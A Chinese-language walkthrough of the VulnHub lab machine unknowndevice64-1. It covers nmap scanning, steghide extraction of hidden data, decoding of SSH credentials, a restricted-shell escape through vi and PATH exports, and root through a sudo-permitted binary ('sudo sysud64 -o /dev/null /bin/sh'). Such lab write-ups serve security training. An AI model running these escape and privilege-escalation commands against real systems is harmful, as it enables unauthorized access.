靶机下载地址
https://www.vulnhub.com/entry/unknowndevice64-1,293/

靶机配置

主机发现
arp-scan -l

端口扫描
nmap -sV -A -T4 192.168.229.159

nmap -sS -Pn -A -p- -n 192.168.229.159
这段代码使用nmap工具对目标主机进行了端口扫描和服务探测。
-sS:使用SYN扫描方式进行端口扫描,它比默认的TCP扫描方式更快,因为它只发送SYN包而不发送其他数据包。
-Pn:禁用主机发现,即不发送ICMP Echo Request数据包来判断目标主机是否存活。
-A:启用操作系统探测、版本探测、脚本扫描和跟踪路由。
-p-:扫描所有65535个端口。
-n:不进行DNS解析,直接使用IP地址进行扫描。
192.168.229.159:目标主机的IP地址。
这段代码的目的是扫描目标主机开放的所有端口,并获取其操作系统类型、版本、服务等信息。

网页访问
http://192.168.229.159:31337/#

F12查看页面源码
发现隐藏目录key_is_h1dd3n.jpg

拼接访问
是个图片,猜测是个ctf隐写
http://192.168.229.159:31337/key_is_h1dd3n.jpg

下载图像,使用kali工具**steghid(开源隐写程序)**进行隐写!!!
steghide extract -sf key_is_h1dd3n.jpg

需要密码,猜测为h1ddsn,猜测成功

自动生成一个图片,复制到本机,使用在线工具https://copy.sh/brainfuck/,或者https://www.splitbrain.org/services/ook在线解密后即可获取到ssh的用户名和密码;
https://copy.sh/brainfuck/

账户:ud64
密码:1M!#64@ud
目录扫描
dirb "http://192.168.229.159:31337"

GETshell
ssh连接
ssh ud64@192.168.229.159 -p 1337

提权
连按两下TAB键,查看当前用户权限,及可以使用的命令:
发现vi和 export命令可以使用
export命令用于设置或显示环境变量,在shell中执行程序时,shell会提供一组环境变量,export可新增,修改或删除环境变量
1、在vi编辑器中,输入 :!/bin/bash
在vi命令行下输入!/bin/bash即可顺利进入bash
2、通过export命令修改环境变量,将/bin/bash导出到shell环境变量,将/usr/bin目录导出到PATH环境变量:
在vi命令行下输入!/bin/bash即可顺利进入bash
通过export命令修改环境变量,将/bin/bash导出到shell环境变量,将/usr/bin目录导出到PATH环境变量:
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
export PATH=/bin:$PATH


使用sudo sysud64 -h查看帮助消息,发现可以使用
-o file send trace output to FILE instead of stderr
尝试将root用户的shell导出到该用户下
sudo sysud64 -o /dev/null /bin/sh

id
whoami
